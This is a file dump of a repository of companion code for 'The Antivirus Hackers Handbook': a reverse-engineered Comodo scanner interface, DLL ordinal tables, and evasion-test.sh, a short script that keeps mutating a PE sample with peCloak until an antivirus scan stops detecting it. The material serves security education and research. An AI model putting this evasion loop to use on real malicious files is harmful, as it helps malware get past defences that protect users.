├── evasion ├── ordlookup │ ├── ws2_32.pyc │ ├── __init__.pyc │ ├── oleaut32.pyc │ ├── __init__.py │ ├── ws2_32.py │ └── oleaut32.py ├── README ├── evasion-test.sh ├── SectionDoubleP.py └── peCloak.py ├── README.md └── comodo ├── Makefile ├── README.md ├── comodo.h ├── cmdscan.c └── defs.h /evasion/ordlookup/ws2_32.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/joxeankoret/tahh/HEAD/evasion/ordlookup/ws2_32.pyc -------------------------------------------------------------------------------- /evasion/ordlookup/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/joxeankoret/tahh/HEAD/evasion/ordlookup/__init__.pyc -------------------------------------------------------------------------------- /evasion/ordlookup/oleaut32.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/joxeankoret/tahh/HEAD/evasion/ordlookup/oleaut32.pyc -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # tahh 2 | Source codes for "The Antivirus Hackers Handbook" book 3 | 4 | ## Comodo 5 | 6 | In the 'comodo' directory you will find the alternative command line scanner for Comodo for Linux explained in Chapter 2. 7 | 8 | -------------------------------------------------------------------------------- /comodo/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | g++ cmdscan.c -o mycmdscan -Wall -Wno-unused-local-typedefs -ldl -g 3 | 4 | clean: 5 | rm -f core ./mycmdscan 6 | 7 | test: 8 | ./mycmdscan -s `pwd`/eicar.com.txt 9 | ./mycmdscan -s `pwd`/clean.txt 10 | 11 | -------------------------------------------------------------------------------- /evasion/README: -------------------------------------------------------------------------------- 1 | Evasion with peCloak.py 2 | ----------------------- 3 | 4 | Example automated AV evasion tool, explained in chapter 8 of "The Antivirus Hackers Handbook". 5 | This tool used a modified version of both pefile.py and peCloak.py. It also requires to have 6 | installed the MultiAV server and client tools available at the following URL: 7 | 8 | http://github.com/joxeankoret/multiav 9 | 10 | 11 | -------------------------------------------------------------------------------- /comodo/README.md: -------------------------------------------------------------------------------- 1 | # Comodo alternate 'cmdscan' version 2 | 3 | This directory contains the alternative command line scanner for the Comodo antivirus for Linux. Naturally, it requires to have installed Comodo Antivirus for Linux. 4 | 5 | This alternative version allows scanning relative paths and shows much more information about the detected (or white-listed!) files like, for example, which internal scanner detected the malware sample, the calculated CRCs for appropriate signatures, etc... 6 | 7 | This tool and how to write it is explained in great detail in Chapter 2 of "The Antivirus Hackers Handbook". 8 | -------------------------------------------------------------------------------- /evasion/evasion-test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | MULTIAV_ADDR=ip-of-multiav:8080 4 | MULTIAV_PATH=/path/to/multiav 5 | MULTIAV_TOOL=$MULTIAV_PATH/multiav-client.py 6 | CLOAK_PATH=./peCloak.py 7 | 8 | if [ $# -lt 1 ]; then 9 | echo "Usage: $0 " 10 | exit 0 11 | fi 12 | 13 | sample=$1 14 | 15 | while [ 1 ] 16 | do 17 | echo "[+] Mutating the input PE file..." 18 | $CLOAK_PATH -a -o test.exe $sample 19 | echo "[+] Testing antivirus detection..." 20 | if $MULTIAV_TOOL $MULTIAV_ADDR test.exe -f; then 21 | echo "[i] Sample `md5sum test.exe` undetected!" 22 | break 23 | else 24 | echo "[!] Sample still detected, continuing..." 25 | fi 26 | done 27 | -------------------------------------------------------------------------------- /evasion/ordlookup/__init__.py: -------------------------------------------------------------------------------- 1 | import ws2_32 2 | import oleaut32 3 | 4 | ''' 5 | A small module for keeping a database of ordinal to symbol 6 | mappings for DLLs which frequently get linked without symbolic 7 | infoz. 8 | ''' 9 | 10 | ords = { 11 | 'ws2_32.dll':ws2_32.ord_names, 12 | 'wsock32.dll':ws2_32.ord_names, 13 | 'oleaut32.dll':oleaut32.ord_names, 14 | } 15 | 16 | def ordLookup(libname, ord, make_name=False): 17 | ''' 18 | Lookup a name for the given ordinal if it's in our 19 | database. 20 | ''' 21 | names = ords.get(libname.lower()) 22 | if names == None: 23 | if make_name is True: 24 | return 'ord%d' % ord 25 | return None 26 | name = names.get(ord) 27 | if name == None: 28 | return 'ord%d' % ord 29 | return name 30 | 31 | 32 | -------------------------------------------------------------------------------- /evasion/ordlookup/ws2_32.py: -------------------------------------------------------------------------------- 1 | 2 | ord_names = { 3 | 1:'accept', 4 | 2:'bind', 5 | 3:'closesocket', 6 | 4:'connect', 7 | 5:'getpeername', 8 | 6:'getsockname', 9 | 7:'getsockopt', 10 | 8:'htonl', 11 | 9:'htons', 12 | 10:'ioctlsocket', 13 | 11:'inet_addr', 14 | 12:'inet_ntoa', 15 | 13:'listen', 16 | 14:'ntohl', 17 | 15:'ntohs', 18 | 16:'recv', 19 | 17:'recvfrom', 20 | 18:'select', 21 | 19:'send', 22 | 20:'sendto', 23 | 21:'setsockopt', 24 | 22:'shutdown', 25 | 23:'socket', 26 | 24:'GetAddrInfoW', 27 | 25:'GetNameInfoW', 28 | 26:'WSApSetPostRoutine', 29 | 27:'FreeAddrInfoW', 30 | 28:'WPUCompleteOverlappedRequest', 31 | 29:'WSAAccept', 32 | 30:'WSAAddressToStringA', 33 | 31:'WSAAddressToStringW', 34 | 32:'WSACloseEvent', 35 | 33:'WSAConnect', 36 | 34:'WSACreateEvent', 37 | 35:'WSADuplicateSocketA', 38 | 36:'WSADuplicateSocketW', 39 | 37:'WSAEnumNameSpaceProvidersA', 40 | 38:'WSAEnumNameSpaceProvidersW', 41 | 39:'WSAEnumNetworkEvents', 42 | 40:'WSAEnumProtocolsA', 43 | 41:'WSAEnumProtocolsW', 44 | 42:'WSAEventSelect', 45 | 43:'WSAGetOverlappedResult', 46 | 44:'WSAGetQOSByName', 47 | 45:'WSAGetServiceClassInfoA', 48 | 46:'WSAGetServiceClassInfoW', 49 | 47:'WSAGetServiceClassNameByClassIdA', 50 | 48:'WSAGetServiceClassNameByClassIdW', 51 | 49:'WSAHtonl', 52 | 50:'WSAHtons', 53 | 51:'gethostbyaddr', 54 | 52:'gethostbyname', 55 | 53:'getprotobyname', 56 | 54:'getprotobynumber', 57 | 55:'getservbyname', 58 | 56:'getservbyport', 59 | 57:'gethostname', 60 | 58:'WSAInstallServiceClassA', 61 | 59:'WSAInstallServiceClassW', 62 | 60:'WSAIoctl', 63 | 61:'WSAJoinLeaf', 64 | 62:'WSALookupServiceBeginA', 65 | 63:'WSALookupServiceBeginW', 66 | 64:'WSALookupServiceEnd', 67 | 65:'WSALookupServiceNextA', 68 | 66:'WSALookupServiceNextW', 69 | 67:'WSANSPIoctl', 70 | 68:'WSANtohl', 71 | 69:'WSANtohs', 72 | 70:'WSAProviderConfigChange', 73 | 71:'WSARecv', 74 | 72:'WSARecvDisconnect', 75 | 73:'WSARecvFrom', 76 | 74:'WSARemoveServiceClass', 77 | 75:'WSAResetEvent', 78 | 76:'WSASend', 79 | 77:'WSASendDisconnect', 80 | 78:'WSASendTo', 81 | 79:'WSASetEvent', 82 | 80:'WSASetServiceA', 83 | 81:'WSASetServiceW', 84 | 82:'WSASocketA', 85 | 83:'WSASocketW', 86 | 84:'WSAStringToAddressA', 87 | 85:'WSAStringToAddressW', 88 | 86:'WSAWaitForMultipleEvents', 89 | 87:'WSCDeinstallProvider', 90 | 88:'WSCEnableNSProvider', 91 | 89:'WSCEnumProtocols', 92 | 90:'WSCGetProviderPath', 93 | 91:'WSCInstallNameSpace', 94 | 92:'WSCInstallProvider', 95 | 93:'WSCUnInstallNameSpace', 96 | 94:'WSCUpdateProvider', 97 | 95:'WSCWriteNameSpaceOrder', 98 | 96:'WSCWriteProviderOrder', 99 | 97:'freeaddrinfo', 100 | 98:'getaddrinfo', 101 | 99:'getnameinfo', 102 | 101:'WSAAsyncSelect', 103 | 102:'WSAAsyncGetHostByAddr', 104 | 103:'WSAAsyncGetHostByName', 105 | 104:'WSAAsyncGetProtoByNumber', 106 | 105:'WSAAsyncGetProtoByName', 107 | 106:'WSAAsyncGetServByPort', 108 | 107:'WSAAsyncGetServByName', 109 | 108:'WSACancelAsyncRequest', 110 | 109:'WSASetBlockingHook', 111 | 110:'WSAUnhookBlockingHook', 112 | 111:'WSAGetLastError', 113 | 112:'WSASetLastError', 114 | 113:'WSACancelBlockingCall', 115 | 114:'WSAIsBlocking', 116 | 115:'WSAStartup', 117 | 116:'WSACleanup', 118 | 151:'__WSAFDIsSet', 119 | 500:'WEP', 120 | } 121 | -------------------------------------------------------------------------------- /comodo/comodo.h: -------------------------------------------------------------------------------- 1 | /** Comodo antivirus interface structures and enumerations definitions 2 | * Author: Joxean Koret 3 | */ 4 | #ifndef COMODO_H 5 | #define COMODO_H 6 | 7 | #include "defs.h" 8 | 9 | #define __cppobj 10 | #define __fastcall 11 | #define __usercall 12 | #define __cdecl 13 | 14 | typedef __int16 PRInt16; 15 | typedef int PRInt32; 16 | typedef unsigned int PRUint32; 17 | typedef __int64 PRInt64; 18 | typedef PRUint32 PRIntervalTime; 19 | typedef int PRIntn; 20 | typedef PRInt32 HRESULT; 21 | typedef unsigned __int64 ULONG; 22 | typedef void CAEFileDesc; 23 | typedef char PRchar; 24 | typedef unsigned __int64 PRUword; 25 | 26 | struct __attribute__((aligned(4))) _ENGINE_REPORT_FILE_ENTRY 27 | { 28 | PRchar *FileName; 29 | int FileNameLength; 30 | bool bIsNeedRemove; 31 | }; 32 | 33 | typedef _ENGINE_REPORT_FILE_ENTRY *PENGINE_REPORT_FILE_ENTRY; 34 | 35 | struct GUID 36 | { 37 | int Data1; 38 | __int16 Data2; 39 | __int16 Data3; 40 | char Data4[8]; 41 | }; 42 | 43 | struct CAEEngineDispatch; 44 | 45 | struct IAEUserCallBack 46 | { 47 | char dummy; 48 | }; 49 | 50 | struct ITarget 51 | { 52 | char dummy; 53 | }; 54 | 55 | struct ICAVStream 56 | { 57 | char dummy; 58 | }; 59 | 60 | struct IBaseComMgr 61 | { 62 | char dummy; 63 | }; 64 | 65 | struct IUnknown 66 | { 67 | void *IUnknown; 68 | }; 69 | 70 | struct IAEGetFileType 71 | { 72 | char dummy; 73 | }; 74 | 75 | struct IStringConvert 76 | { 77 | char dummy; 78 | }; 79 | 80 | struct IScanner 81 | { 82 | char dummy; 83 | }; 84 | 85 | struct IScannerMem 86 | { 87 | char dummy; 88 | }; 89 | 90 | struct CSyncLong 91 | { 92 | int m_Value; 93 | }; 94 | 95 | struct IDllMgr 96 | { 97 | char dummy; 98 | }; 99 | 100 | struct IMemMgr 101 | { 102 | char dummy; 103 | }; 104 | 105 | struct ITrace 106 | { 107 | char dummy; 108 | }; 109 | 110 | struct PRLibrary 111 | { 112 | char dummy; 113 | }; 114 | 115 | struct PRLibrary_0 116 | { 117 | char dummy; 118 | }; 119 | 120 | struct IAESignMgr 121 | { 122 | char dummy; 123 | }; 124 | 125 | enum CAECLSID 126 | { 127 | }; 128 | 129 | enum OWNERTYPE 130 | { 131 | enum_OWNER_REALTIME = 0x0, 132 | enum_OWNER_ONDEMAND = 0x1, 133 | enum_OWNER_MEMORY = 0x2, 134 | enum_CALLER_RIGHTCLICK = 0x3, 135 | }; 136 | 137 | enum SHEURLEVEL 138 | { 139 | enum_SHEURLEVEL_LOW = 0x0, 140 | enum_SHEURLEVEL_MID = 0x1, 141 | enum_SHEURLEVEL_HIGH = 0x2, 142 | }; 143 | 144 | struct __attribute__((packed)) __attribute__((aligned(1))) x1 145 | { 146 | unsigned __int32 enableDosmz : 1; 147 | unsigned __int32 enableFirst : 1; 148 | unsigned __int32 enablePE32 : 1; 149 | unsigned __int32 enablePENew : 1; 150 | unsigned __int32 enableScript : 1; 151 | unsigned __int32 enableSimpleHeur : 1; 152 | unsigned __int32 enableAdvanceHeur : 1; 153 | unsigned __int32 enableWhite : 1; 154 | unsigned __int32 enableMemory : 1; 155 | unsigned __int32 enableSUnpack : 1; 156 | unsigned __int32 enableDunpack : 1; 157 | unsigned __int32 enableUnarch : 1; 158 | unsigned __int32 enableUnsfx : 1; 159 | unsigned __int32 enableGunpack : 1; 160 | unsigned __int32 enableExtra : 1; 161 | unsigned __int32 enbaleUnpch : 1; 162 | unsigned __int32 enableRules : 1; 163 | unsigned __int32 enableSmart : 1; 164 | unsigned __int32 enableReserved : 15; 165 | }; 166 | 167 | struct __attribute__((packed)) __attribute__((aligned(2))) SCANRESULT 168 | { 169 | char bFound; 170 | int unSignID; 171 | char szMalwareName[64]; 172 | int eFileType; 173 | int eOwnerFlag; 174 | int unCureID; 175 | int unScannerID; 176 | int eHandledStatus; 177 | int dwPid; 178 | __int64 ullTotalSize; 179 | __int64 ullScanedSize; 180 | int ucrc1; 181 | int ucrc2; 182 | char bInWhiteList; 183 | int nReserved[2]; 184 | }; 185 | 186 | struct __attribute__((packed)) __attribute__((aligned(1))) _SCANOPTION 187 | { 188 | void *UserContext; 189 | bool bUseHeur; 190 | bool bScanArchives; 191 | bool bScanPackers; 192 | bool bUseAdvHeur; 193 | unsigned int dwMaxFileSize; 194 | OWNERTYPE eOwnerFlag; 195 | SHEURLEVEL eSHeurLevel; 196 | int ScanCfgInfo; 197 | char szIoCharset[32]; 198 | bool bAutoClean; 199 | bool bDunpackRealTime; 200 | bool bNotReportPackName; 201 | bool bWhite; 202 | PRUint32 dwMaxUnpackSize; 203 | PRUint32 dwMaxDynamicUnpackSize; 204 | }; 205 | 206 | typedef _SCANOPTION SCANOPTION; 207 | 208 | struct __attribute__((packed)) __attribute__((aligned(4))) THREADSCANCONTEXT 209 | { 210 | int ulThreadID; 211 | void *m_piSrcTarget; 212 | void *m_pvSrcStream; 213 | void *m_piWhiteScanner; 214 | void *m_piDllMgr; 215 | void *m_piSignMgr; 216 | void *m_piFileSystem; 217 | void *m_piScanThreadMemMgr; 218 | void *m_piScanThreadTrace; 219 | void *m_pCAVStatistics; 220 | }; 221 | 222 | struct vtable_403310_t 223 | { 224 | signed __int64 (__fastcall *sub_402930)(__int64 *a1, __int64 a2, __int64 **a3); 225 | __int64 (__fastcall *sub_4028F0)(__int64 a1); 226 | __int64 (__fastcall *sub_402890)(__int64 a1, __int64 a2); 227 | int (__fastcall *sub_402790)(__int64 a1); 228 | __int64 (__fastcall *sub_4022C0)(void *); 229 | signed __int64 (__cdecl *sub_4027B0)(); 230 | signed __int64 (__cdecl *sub_4027C0)(); 231 | signed __int64 (__fastcall *sub_402830)(__int64 a1, __int64 a2, __int64 a3, const void *a4); 232 | signed __int64 (__cdecl *sub_4027D0)(); 233 | signed __int64 (__cdecl *sub_4027E0)(); 234 | signed __int64 (__cdecl *sub_4027F0)(); 235 | void (__cdecl *nullsub_3)(); 236 | void (__cdecl *nullsub_4)(); 237 | void (__cdecl *nullsub_5)(); 238 | }; 239 | 240 | struct vtable_forCAEEngineDispatch 241 | { 242 | HRESULT (__cdecl *CAEEngineDispatch_QueryInterface)(CAEEngineDispatch *a1, GUID *riid, void **ppvObject); 243 | ULONG (__cdecl *CAEEngineDispatch_AddRef)(CAEEngineDispatch *a1); 244 | ULONG (__cdecl *CAEEngineDispatch_Release)(CAEEngineDispatch *a1); 245 | void (__cdecl *CAEEngineDispatch_Destructor1)(CAEEngineDispatch *a1); 246 | void (__cdecl *CAEEngineDispatch_Destructor2)(CAEEngineDispatch *a1); 247 | HRESULT (__cdecl *CAEEngineDispatch_Init)(CAEEngineDispatch *a1, void *pvContext); 248 | HRESULT (__cdecl *CAEEngineDispatch_UnInit)(CAEEngineDispatch *a1, void *pvContext); 249 | HRESULT (__cdecl *CAEEngineDispatch_SetUserCallBack)(CAEEngineDispatch *a1, IAEUserCallBack *piUserCallBack); 250 | HRESULT (__cdecl *CAEEngineDispatch_ScanTarget)(CAEEngineDispatch *a1, ITarget *piSrcTarget, SCANOPTION *pstScanOption, SCANRESULT *pstScanResult); 251 | HRESULT (__cdecl *CAEEngineDispatch_ScanStream)(CAEEngineDispatch *a1, ICAVStream *piSrcStream, SCANOPTION *pstScanOption, SCANRESULT *pstScanResult); 252 | HRESULT (__cdecl *CAEEngineDispatch_GetBaseComponent)(CAEEngineDispatch *a1, CAECLSID eClsID, IUnknown **ppiUnknown); 253 | HRESULT (__cdecl *CAEEngineDispatch_CureByHandle)(CAEEngineDispatch *a1, CAEFileDesc *hSrcFileHandle, CAEFileDesc *hDstFileHandle, SCANRESULT *pstResult); 254 | HRESULT (__cdecl *CAEEngineDispatch_CureByTarget)(CAEEngineDispatch *a1, ITarget *piSrcTarget, CAEFileDesc *hDstFileHandle, SCANRESULT *pstResult); 255 | HRESULT (__cdecl *CAEEngineDispatch_Pause)(CAEEngineDispatch *a1); 256 | HRESULT (__cdecl *CAEEngineDispatch_Continue)(CAEEngineDispatch *a1); 257 | HRESULT (__cdecl *CAEEngineDispatch_Cancel)(CAEEngineDispatch *a1); 258 | void (__cdecl *CAEEngineDispatch_CrashReport)(CAEEngineDispatch *a1, int ModuleId, void *pvPrivateReportData, int nPrivateReportDataLength, PENGINE_REPORT_FILE_ENTRY pstRelatedFiles, int nRelatedFileCount); 259 | }; 260 | 261 | struct IAEEngineDispatch 262 | { 263 | struct vtable_forCAEEngineDispatch *baseclass_0; 264 | }; 265 | 266 | struct CAEEngineDispatch : IAEEngineDispatch 267 | { 268 | IBaseComMgr *m_piBaseComMgr; 269 | IAEGetFileType *m_piFileID; 270 | IStringConvert *m_piStringConvert; 271 | IScanner *m_piScanners[32]; 272 | IUnknown *m_piUnpacks[32]; 273 | THREADSCANCONTEXT m_stScanContext; 274 | IAEUserCallBack *m_piUserCallBack; 275 | SCANOPTION *m_pstScanOption; 276 | PRUword m_ulRef; 277 | CSyncLong m_bCancel; 278 | CSyncLong m_bPause; 279 | }; 280 | 281 | struct IFrameWork 282 | { 283 | struct vtable_forCFrameWork *baseclass_0; 284 | }; 285 | 286 | struct __cppobj CFrameWork : IFrameWork 287 | { 288 | IDllMgr *m_piFrameDllMgr; 289 | IMemMgr *m_piFrameMemMgr; 290 | ITrace *m_piFrameTrace; 291 | PRLibrary_0 *m_hPlatformModule; 292 | IAEUserCallBack *m_piUserCallBack; 293 | IAESignMgr *m_piSignMgr; 294 | IBaseComMgr *m_piBaseComMgr; 295 | PRchar *m_RootDirectory; 296 | int m_RootDirectoryLength; 297 | PRchar *m_TempPathBuffer; 298 | int m_TempPathBufferLength; 299 | PRUint32 m_ulRefCnt; 300 | }; 301 | 302 | struct vtable_forCFrameWork 303 | { 304 | HRESULT (__cdecl *CFrameWork_QueryInterface)(CFrameWork *, GUID *const riid, void **ppvObject); 305 | unsigned __int64 (__cdecl *CFrameWork_AddRef)(CFrameWork *); 306 | unsigned __int64 (__cdecl *CFrameWork_Release)(CFrameWork *); 307 | void (__cdecl *CFrameWork_Destructor1)(CFrameWork *); 308 | void (__cdecl *CFrameWork_Destructor2)(CFrameWork *); 309 | HRESULT (__cdecl *CFrameWork_Init)(CFrameWork *, int nRootPathSize, const PRchar *pwszRootPath, int *stCfgFormat, void *pvContext); 310 | HRESULT (__cdecl *CFrameWork_UnInit)(CFrameWork *, void *pvContext); 311 | HRESULT (__cdecl *CFrameWork_LoadScanners)(CFrameWork *, int *stCfgInfo); 312 | HRESULT (__cdecl *CFrameWork_CreateEngine)(CFrameWork *, IAEEngineDispatch **ppiEngineDispatch); 313 | }; 314 | 315 | struct struct_base_component_0x20001_t 316 | { 317 | _BYTE gap0[80]; 318 | int (__fastcall *pfunc50)(__int64, __int64 *, __int64, signed __int64, signed __int64, _QWORD); 319 | }; 320 | 321 | #endif // COMODO_H 322 | -------------------------------------------------------------------------------- /evasion/ordlookup/oleaut32.py: -------------------------------------------------------------------------------- 1 | ord_names = { 2 | 2:'SysAllocString', 3 | 3:'SysReAllocString', 4 | 4:'SysAllocStringLen', 5 | 5:'SysReAllocStringLen', 6 | 6:'SysFreeString', 7 | 7:'SysStringLen', 8 | 8:'VariantInit', 9 | 9:'VariantClear', 10 | 10:'VariantCopy', 11 | 11:'VariantCopyInd', 12 | 12:'VariantChangeType', 13 | 13:'VariantTimeToDosDateTime', 14 | 14:'DosDateTimeToVariantTime', 15 | 15:'SafeArrayCreate', 16 | 16:'SafeArrayDestroy', 17 | 17:'SafeArrayGetDim', 18 | 18:'SafeArrayGetElemsize', 19 | 19:'SafeArrayGetUBound', 20 | 20:'SafeArrayGetLBound', 21 | 21:'SafeArrayLock', 22 | 22:'SafeArrayUnlock', 23 | 23:'SafeArrayAccessData', 24 | 24:'SafeArrayUnaccessData', 25 | 25:'SafeArrayGetElement', 26 | 26:'SafeArrayPutElement', 27 | 27:'SafeArrayCopy', 28 | 28:'DispGetParam', 29 | 29:'DispGetIDsOfNames', 30 | 30:'DispInvoke', 31 | 31:'CreateDispTypeInfo', 32 | 32:'CreateStdDispatch', 33 | 33:'RegisterActiveObject', 34 | 34:'RevokeActiveObject', 35 | 35:'GetActiveObject', 36 | 36:'SafeArrayAllocDescriptor', 37 | 37:'SafeArrayAllocData', 38 | 38:'SafeArrayDestroyDescriptor', 39 | 39:'SafeArrayDestroyData', 40 | 40:'SafeArrayRedim', 41 | 41:'SafeArrayAllocDescriptorEx', 42 | 42:'SafeArrayCreateEx', 43 | 43:'SafeArrayCreateVectorEx', 44 | 44:'SafeArraySetRecordInfo', 45 | 45:'SafeArrayGetRecordInfo', 46 | 46:'VarParseNumFromStr', 47 | 47:'VarNumFromParseNum', 48 | 48:'VarI2FromUI1', 49 | 49:'VarI2FromI4', 50 | 50:'VarI2FromR4', 51 | 51:'VarI2FromR8', 52 | 52:'VarI2FromCy', 53 | 53:'VarI2FromDate', 54 | 54:'VarI2FromStr', 55 | 55:'VarI2FromDisp', 56 | 56:'VarI2FromBool', 57 | 57:'SafeArraySetIID', 58 | 58:'VarI4FromUI1', 59 | 59:'VarI4FromI2', 60 | 60:'VarI4FromR4', 61 | 61:'VarI4FromR8', 62 | 62:'VarI4FromCy', 63 | 63:'VarI4FromDate', 64 | 64:'VarI4FromStr', 65 | 65:'VarI4FromDisp', 66 | 66:'VarI4FromBool', 67 | 67:'SafeArrayGetIID', 68 | 68:'VarR4FromUI1', 69 | 69:'VarR4FromI2', 70 | 70:'VarR4FromI4', 71 | 71:'VarR4FromR8', 72 | 72:'VarR4FromCy', 73 | 73:'VarR4FromDate', 74 | 74:'VarR4FromStr', 75 | 75:'VarR4FromDisp', 76 | 76:'VarR4FromBool', 77 | 77:'SafeArrayGetVartype', 78 | 78:'VarR8FromUI1', 79 | 79:'VarR8FromI2', 80 | 80:'VarR8FromI4', 81 | 81:'VarR8FromR4', 82 | 82:'VarR8FromCy', 83 | 83:'VarR8FromDate', 84 | 84:'VarR8FromStr', 85 | 85:'VarR8FromDisp', 86 | 86:'VarR8FromBool', 87 | 87:'VarFormat', 88 | 88:'VarDateFromUI1', 89 | 89:'VarDateFromI2', 90 | 90:'VarDateFromI4', 91 | 91:'VarDateFromR4', 92 | 92:'VarDateFromR8', 93 | 93:'VarDateFromCy', 94 | 94:'VarDateFromStr', 95 | 95:'VarDateFromDisp', 96 | 96:'VarDateFromBool', 97 | 97:'VarFormatDateTime', 98 | 98:'VarCyFromUI1', 99 | 99:'VarCyFromI2', 100 | 100:'VarCyFromI4', 101 | 101:'VarCyFromR4', 102 | 102:'VarCyFromR8', 103 | 103:'VarCyFromDate', 104 | 104:'VarCyFromStr', 105 | 105:'VarCyFromDisp', 106 | 106:'VarCyFromBool', 107 | 107:'VarFormatNumber', 108 | 108:'VarBstrFromUI1', 109 | 109:'VarBstrFromI2', 110 | 110:'VarBstrFromI4', 111 | 111:'VarBstrFromR4', 112 | 112:'VarBstrFromR8', 113 | 113:'VarBstrFromCy', 114 | 114:'VarBstrFromDate', 115 | 115:'VarBstrFromDisp', 116 | 116:'VarBstrFromBool', 117 | 117:'VarFormatPercent', 118 | 118:'VarBoolFromUI1', 119 | 119:'VarBoolFromI2', 120 | 120:'VarBoolFromI4', 121 | 121:'VarBoolFromR4', 122 | 122:'VarBoolFromR8', 123 | 123:'VarBoolFromDate', 124 | 124:'VarBoolFromCy', 125 | 125:'VarBoolFromStr', 126 | 126:'VarBoolFromDisp', 127 | 127:'VarFormatCurrency', 128 | 128:'VarWeekdayName', 129 | 129:'VarMonthName', 130 | 130:'VarUI1FromI2', 131 | 131:'VarUI1FromI4', 132 | 132:'VarUI1FromR4', 133 | 133:'VarUI1FromR8', 134 | 134:'VarUI1FromCy', 135 | 135:'VarUI1FromDate', 136 | 136:'VarUI1FromStr', 137 | 137:'VarUI1FromDisp', 138 | 138:'VarUI1FromBool', 139 | 139:'VarFormatFromTokens', 140 | 140:'VarTokenizeFormatString', 141 | 141:'VarAdd', 142 | 142:'VarAnd', 143 | 143:'VarDiv', 144 | 144:'DllCanUnloadNow', 145 | 145:'DllGetClassObject', 146 | 146:'DispCallFunc', 147 | 147:'VariantChangeTypeEx', 148 | 148:'SafeArrayPtrOfIndex', 149 | 149:'SysStringByteLen', 150 | 150:'SysAllocStringByteLen', 151 | 151:'DllRegisterServer', 152 | 152:'VarEqv', 153 | 153:'VarIdiv', 154 | 154:'VarImp', 155 | 155:'VarMod', 156 | 156:'VarMul', 157 | 157:'VarOr', 158 | 158:'VarPow', 159 | 159:'VarSub', 160 | 160:'CreateTypeLib', 161 | 161:'LoadTypeLib', 162 | 162:'LoadRegTypeLib', 163 | 163:'RegisterTypeLib', 164 | 164:'QueryPathOfRegTypeLib', 165 | 165:'LHashValOfNameSys', 166 | 166:'LHashValOfNameSysA', 167 | 167:'VarXor', 168 | 168:'VarAbs', 169 | 169:'VarFix', 170 | 170:'OaBuildVersion', 171 | 171:'ClearCustData', 172 | 172:'VarInt', 173 | 173:'VarNeg', 174 | 174:'VarNot', 175 | 175:'VarRound', 176 | 176:'VarCmp', 177 | 177:'VarDecAdd', 178 | 178:'VarDecDiv', 179 | 179:'VarDecMul', 180 | 180:'CreateTypeLib2', 181 | 181:'VarDecSub', 182 | 182:'VarDecAbs', 183 | 183:'LoadTypeLibEx', 184 | 184:'SystemTimeToVariantTime', 185 | 185:'VariantTimeToSystemTime', 186 | 186:'UnRegisterTypeLib', 187 | 187:'VarDecFix', 188 | 188:'VarDecInt', 189 | 189:'VarDecNeg', 190 | 190:'VarDecFromUI1', 191 | 191:'VarDecFromI2', 192 | 192:'VarDecFromI4', 193 | 193:'VarDecFromR4', 194 | 194:'VarDecFromR8', 195 | 195:'VarDecFromDate', 196 | 196:'VarDecFromCy', 197 | 197:'VarDecFromStr', 198 | 198:'VarDecFromDisp', 199 | 199:'VarDecFromBool', 200 | 200:'GetErrorInfo', 201 | 201:'SetErrorInfo', 202 | 202:'CreateErrorInfo', 203 | 203:'VarDecRound', 204 | 204:'VarDecCmp', 205 | 205:'VarI2FromI1', 206 | 206:'VarI2FromUI2', 207 | 207:'VarI2FromUI4', 208 | 208:'VarI2FromDec', 209 | 209:'VarI4FromI1', 210 | 210:'VarI4FromUI2', 211 | 211:'VarI4FromUI4', 212 | 212:'VarI4FromDec', 213 | 213:'VarR4FromI1', 214 | 214:'VarR4FromUI2', 215 | 215:'VarR4FromUI4', 216 | 216:'VarR4FromDec', 217 | 217:'VarR8FromI1', 218 | 218:'VarR8FromUI2', 219 | 219:'VarR8FromUI4', 220 | 220:'VarR8FromDec', 221 | 221:'VarDateFromI1', 222 | 222:'VarDateFromUI2', 223 | 223:'VarDateFromUI4', 224 | 224:'VarDateFromDec', 225 | 225:'VarCyFromI1', 226 | 226:'VarCyFromUI2', 227 | 227:'VarCyFromUI4', 228 | 228:'VarCyFromDec', 229 | 229:'VarBstrFromI1', 230 | 230:'VarBstrFromUI2', 231 | 231:'VarBstrFromUI4', 232 | 232:'VarBstrFromDec', 233 | 233:'VarBoolFromI1', 234 | 234:'VarBoolFromUI2', 235 | 235:'VarBoolFromUI4', 236 | 236:'VarBoolFromDec', 237 | 237:'VarUI1FromI1', 238 | 238:'VarUI1FromUI2', 239 | 239:'VarUI1FromUI4', 240 | 240:'VarUI1FromDec', 241 | 241:'VarDecFromI1', 242 | 242:'VarDecFromUI2', 243 | 243:'VarDecFromUI4', 244 | 244:'VarI1FromUI1', 245 | 245:'VarI1FromI2', 246 | 246:'VarI1FromI4', 247 | 247:'VarI1FromR4', 248 | 248:'VarI1FromR8', 249 | 249:'VarI1FromDate', 250 | 250:'VarI1FromCy', 251 | 251:'VarI1FromStr', 252 | 252:'VarI1FromDisp', 253 | 253:'VarI1FromBool', 254 | 254:'VarI1FromUI2', 255 | 255:'VarI1FromUI4', 256 | 256:'VarI1FromDec', 257 | 257:'VarUI2FromUI1', 258 | 258:'VarUI2FromI2', 259 | 259:'VarUI2FromI4', 260 | 260:'VarUI2FromR4', 261 | 261:'VarUI2FromR8', 262 | 262:'VarUI2FromDate', 263 | 263:'VarUI2FromCy', 264 | 264:'VarUI2FromStr', 265 | 265:'VarUI2FromDisp', 266 | 266:'VarUI2FromBool', 267 | 267:'VarUI2FromI1', 268 | 268:'VarUI2FromUI4', 269 | 269:'VarUI2FromDec', 270 | 270:'VarUI4FromUI1', 271 | 271:'VarUI4FromI2', 272 | 272:'VarUI4FromI4', 273 | 273:'VarUI4FromR4', 274 | 274:'VarUI4FromR8', 275 | 275:'VarUI4FromDate', 276 | 276:'VarUI4FromCy', 277 | 277:'VarUI4FromStr', 278 | 278:'VarUI4FromDisp', 279 | 279:'VarUI4FromBool', 280 | 280:'VarUI4FromI1', 281 | 281:'VarUI4FromUI2', 282 | 282:'VarUI4FromDec', 283 | 283:'BSTR_UserSize', 284 | 284:'BSTR_UserMarshal', 285 | 285:'BSTR_UserUnmarshal', 286 | 286:'BSTR_UserFree', 287 | 287:'VARIANT_UserSize', 288 | 288:'VARIANT_UserMarshal', 289 | 289:'VARIANT_UserUnmarshal', 290 | 290:'VARIANT_UserFree', 291 | 291:'LPSAFEARRAY_UserSize', 292 | 292:'LPSAFEARRAY_UserMarshal', 293 | 